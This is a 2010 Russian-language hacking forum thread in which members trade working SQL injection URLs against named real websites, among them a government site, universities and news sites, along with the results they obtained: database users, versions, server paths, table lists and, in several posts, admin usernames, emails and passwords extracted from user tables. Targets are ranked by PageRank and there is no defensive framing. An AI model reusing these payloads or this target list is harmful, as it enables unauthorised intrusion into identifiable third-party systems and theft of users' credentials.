SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. qq6ka

    qq6ka Banned

    Joined:
    21 May 2010
    Messages:
    35
    Likes Received:
    19
    Reputations:
    21
    PR 5

    Code:
    http://www.fiba-group.com/en/sirketler.php?gid=1&sid=-1+union+select+1,2,3,4,5,concat_ws(0x2a,user(),version(),database()),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--
    root@localhost*4.1.22-community-nt*fibaen


    ===============


    Code:
    http://www.latincounsel.com/eng/noticiaampliada.php?nid=-1+union+select+1,2,3,4,5,6,7,concat_ws(0x2a,user(),version(),database()),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--
    [email protected]*5.0.85-log*latincounsel

    ===============

    Code:
    http://www.colofb.com/html/news/pressrelease_detail.php?nid=-1+union+select+1,2,3,4,5,concat_ws(0x2a,user(),version(),database()),7,8,9--
    colofbco_usr@localhost*5.0.45-community-nt*colofbco_db

    ==============

    PR 6

    Все базы доступны на чтение.

    Code:
    http://tv.cancaonova.com/conteudo_programas.php?pid=-75+union+select+1,group_concat(SCHEMA_NAME),3,4,5,6,7,8+FROM+INFORMATION_SCHEMA.SCHEMATA--
     
    #12241 qq6ka, 11 Jun 2010
    Last edited: 11 Jun 2010
    2 people like this.
  2. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.zionmag.org/news.php?year=-2007+union+select+1,2,3,4,5,6,7,8+from+user--

    user() : raver@localhost

    version() : 4.0.24

    database() : zionmag

    OS : pc-solaris2.10

    PR-4

    --------

    http://www.nispa.org/_portal/conference.php?sid=588&cid=-18+union+select+1,4,3,4,5,6,7,8--

    user() : [email protected]

    version() : 4.1.22-log

    database() : nispa_sk

    OS : pc-linux-gnu

    PR-6
     
    _________________________
    1 person likes this.
  3. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    PostgreSQL

    http://www.usj.edu.lb/actualites/news.php?id=1;select+cast(table_name+as+int)+from+information_schema.tables+where+table_name+not+in+($$views$$)--
     
    1 person likes this.
  4. qq6ka

    qq6ka Banned

    Joined:
    21 May 2010
    Messages:
    35
    Likes Received:
    19
    Reputations:
    21
    Code:
    PR 4
    
    http://www.eaglecountryonline.com/news.php?nID=-1+union+select+1,concat_ws(0x2a,user(),version(),database()),3--
    eaglecou_eagledb@localhost*5.0.90-community*eaglecou_eagle
     
  5. X-FRITS

    X-FRITS Elder - Старейшина

    Joined:
    24 Jun 2007
    Messages:
    57
    Likes Received:
    81
    Reputations:
    7
    pr 3
    тиц 325

    Code:
    http://www.presa.ua/index.php?mod=mod4&news=1&id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9--
    MySQL Info: presaukr_presssa@saturn:4.1.22-log:presaukr:binjportbld-freebsd5.5
     
    1 person likes this.
  6. b82a

    b82a Elder - Старейшина

    Joined:
    7 Feb 2010
    Messages:
    150
    Likes Received:
    48
    Reputations:
    25
    Code:
    http://www.energia-comision1.gov.ar/vernoticia.php?id=-1%20UNION%20SELECT%201,unhex(hex(concat_ws(0x3a,version(),database(),user()))),3,4,5,6,7,8,9
    User: uv0649@localhost
    Database: uv0649_database
    Version: 4.1.14-log
     
  7. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.vcoderz.com/index.php?p=youtube_list&t=-1+union+select+concat_ws(0x3a,user(),version(),database(),@@version_compile_os)&s=111

    а жаль :)
     
    _________________________
    1 person likes this.
  8. jecka3000

    jecka3000 Elder - Старейшина

    Joined:
    15 Mar 2008
    Messages:
    360
    Likes Received:
    54
    Reputations:
    4
    http://www.lannaworld.com/cgi/lannaboard/reply_topic.php?id=-785+union+select+1,concat(version(),0x20,database(),0x20,user()),3,4,5,6,7,8,9--
    5.1.39-log
    lannaworld
    [email protected]

    http://classes.dma.ucla.edu/Winter06/161B/projects/ed/DRAview.php?article=-2+union+select+1,concat(version(),0x20,database(),0x20,user()),3,4,5,6,7,8,9,10,11,12,13--
    5.0.77
    edchao
    [email protected]
     
  9. b82a

    b82a Elder - Старейшина

    Joined:
    7 Feb 2010
    Messages:
    150
    Likes Received:
    48
    Reputations:
    25
    Code:
    http://www.economiaparatodos.com.ar/ver_nota.php?nota=-1+UNION+SELECT+1,concat_Ws%280x3a,user%28%29,database%28%29,version%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+--+
    User: uv7450_ept@localhost
    Database: ept_v3
    Version: 5.0.45-Max-log
     
  10. qq6ka

    qq6ka Banned

    Joined:
    21 May 2010
    Messages:
    35
    Likes Received:
    19
    Reputations:
    21
    PR 6, http://www.goldenpaints.com

    Code:
    http://www.goldenpaints.com/artist/wap/artist.php?uid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x2a,email_address,username,password,user_level),14,15,16,17,18,19,20,21+FROM+wap.users--
    ------------------

    root@localhost*4.1.22*gardexru

    HTML:
    http://www.gardex.ru/catalog/series.php?uid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,concat_ws(0x2a,user(),version(),database()),15,16,17,18,19,20,21,22,23--
     
    #12250 qq6ka, 12 Jun 2010
    Last edited: 12 Jun 2010
  11. jecka3000

    jecka3000 Elder - Старейшина

    Joined:
    15 Mar 2008
    Messages:
    360
    Likes Received:
    54
    Reputations:
    4
    Code:
    http://www.academiaga.ru/index.php?id=-53+union+select+concat(version(),0x20,database(),0x20,user()),2,3,4--
    4.0.27-log
    aga_www
    [email protected]

    Code:
    http://www.ophthalmo.ru/rus/index.php?id=-565+union+select+1,2,concat(login,0x20,password),4+from+sm_users+limit+1,1--
    Code:
    http://peoplephoto.ru/foto/index.php?id=-1156+union+select+concat(version(),0x20,database(),0x20,user())--
    4.0.27-log
    peoplep0_catalogphoto
    peoplep0_qweeert@localhost
     
    2 people like this.
  12. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    PR5

    http://www.itmaasia.com/news.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(0x0b,username,0x3a3a,password),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+tb_admin--


    PR 3
    4.0.27-log
    mona-liza
    [email protected]


    http://www.mona-liza.com/act.php?id=-4+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5--
     
    #12252 Bramin, 12 Jun 2010
    Last edited: 12 Jun 2010
    4 people like this.
  13. BlackFan

    BlackFan Member

    Joined:
    3 Jan 2009
    Messages:
    47
    Likes Received:
    40
    Reputations:
    32
    Code:
    http://interier-portal.ru/catalog.php?enter=firms&id=-1+union+select+group_concat(0x3C62723E,concat_ws(0x3a,username,user_password))+from+phpbb_users
    root@localhost:interier:4.1.25
     
    2 people like this.
  14. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    http://blindcanadians.ca/press_releases//index.php?BriefID=-50+union+Select+1,2,table_name,4+from+information_schema.tABLES--
     
  15. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    Code:
    http://www.saltwatercharterswa.com.au/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28user%28%29,database%28%29,version%28%29%29,2,3,4+--+
    Version: 5.0.51a-24
    User: myswcw1000@ws-shared
    Database: netswcwa_saltwatercharterswa_com_au
     
    2 people like this.
  16. b82a

    b82a Elder - Старейшина

    Joined:
    7 Feb 2010
    Messages:
    150
    Likes Received:
    48
    Reputations:
    25
    Code:
    http://www.eurotur.com.ar/php/newdesign/nacional/region.php?tipoweb=1&directorio=/php/newdesign/nacional/&tipoturismo=2&region_id=&pais_codigo=-1+UNION+SELECT+1,version(),3,4,5--+
    base: eurotur
    file_priv: Y
    basedir: /usr/
    user: apache@localhost
    os: suse-linux
    tmpdir: /var/lib/mysql/.tmp/
    ver: 5.0.26
    datadir: /var/lib/mysql/
     
    #12256 b82a, 13 Jun 2010
    Last edited: 14 Jun 2010
    2 people like this.
  17. total90

    total90 Elder - Старейшина

    Joined:
    30 Sep 2009
    Messages:
    90
    Likes Received:
    85
    Reputations:
    12
    Code:
    http://www.neorganika.ru/out.php?gid=-22+union+select+1,2,concat_ws(0x3a,user(),version(),database(),@@version_compile_os,@@tmpdir,@@datadir),4--&razdel=0
    user: viziter@localhost
    database: dbng
    version: 5.0.45
    version_compile_os: redhat-linux-gnu

    PR2
    Вывод в тайтле.

    tables:
    Code:
    brend
    dop
    firms
    jobs
    konsalt
    news
    pdf
    picture
    prob
    quest
    ripit
    sales
    sizes
    stat
    subscribe
    svoistva
    tabl
    tabletype
    texts
    title
    types
    userquest
    
    userquest columns:
    Code:
    idu
    fio
    email
    password
    
    Code:
    http://www.neorganika.ru/out.php?gid=-22+union+select+1,2,concat_ws(0x3a,email,password),4+from+userquest--&razdel=0

    Code:
    http://www.newsarama.com/php/multimedia/album.php?gid=-780+union+select+1,2,concat_ws(0x3a,user(),database(),version(),@@version_compile_os,@@tmpdir,@@datadir,@@basedir),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--
    user: [email protected]
    database: publish_new2
    version: 5.0.45-log
    version_compile_os: redhat-linux-gnu
    PR7
     
    3 people like this.
  18. qq6ka

    qq6ka Banned

    Joined:
    21 May 2010
    Messages:
    35
    Likes Received:
    19
    Reputations:
    21
    version(),user(),database() = 5.0.60,avk@localhost,avk

    Code:
    http://www.senpolia.org.ua/view.php?uid=-1+union+select+1,2,3,version(),5,user(),7,8,database()--
    Читает файлы.

    ===============

    einrichtungsbeispiele.de

    Code:
    http://www.einrichtungsbeispiele.de/index.php?uid=13343&show=blog&blogid=-1+union+select+1,2,concat_ws(0x2a,us_vorname,us_name,us_email,us_passwort),4,5,6,7,8,9,10,11,12,13,14+FROM+user--
     
    #12258 qq6ka, 13 Jun 2010
    Last edited: 13 Jun 2010
    2 people like this.
  19. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.adrvest.ro/index.php?page=articol&aid=-455+union+select+1,2,3,4,5,group_concat(username,char(58),password),7,8,9,10,11,12,13+from+adr_admins--

    + phpinfo

    http://www.adrvest.ro/test/info.php

    PR-5
     
    _________________________
    #12259 Konqi, 13 Jun 2010
    Last edited: 13 Jun 2010
    1 person likes this.
  20. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    http://www.lerocambole.com/index.php?num=6+UNION+SELECT+1,concat_ws(0x3a,version(),user(),database()),3+--+

    Version:5

    http://www.portalsolidario.net/tablon/index.php?num=-7+%27+UNION+SELECT+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10+--+

    Version: 4

    http://www.cubaescena.cult.cu/entretelones/index.php?num=-24&sec=17+UNION+SELECT+1,2,3,4,5,concat_ws(version(),user(),database()),7,8,9,10,11,12,13+--+

    Version: 4
     
    #12260 ZARO, 13 Jun 2010
    Last edited: 13 Jun 2010
Thread Status:
Not open for further replies.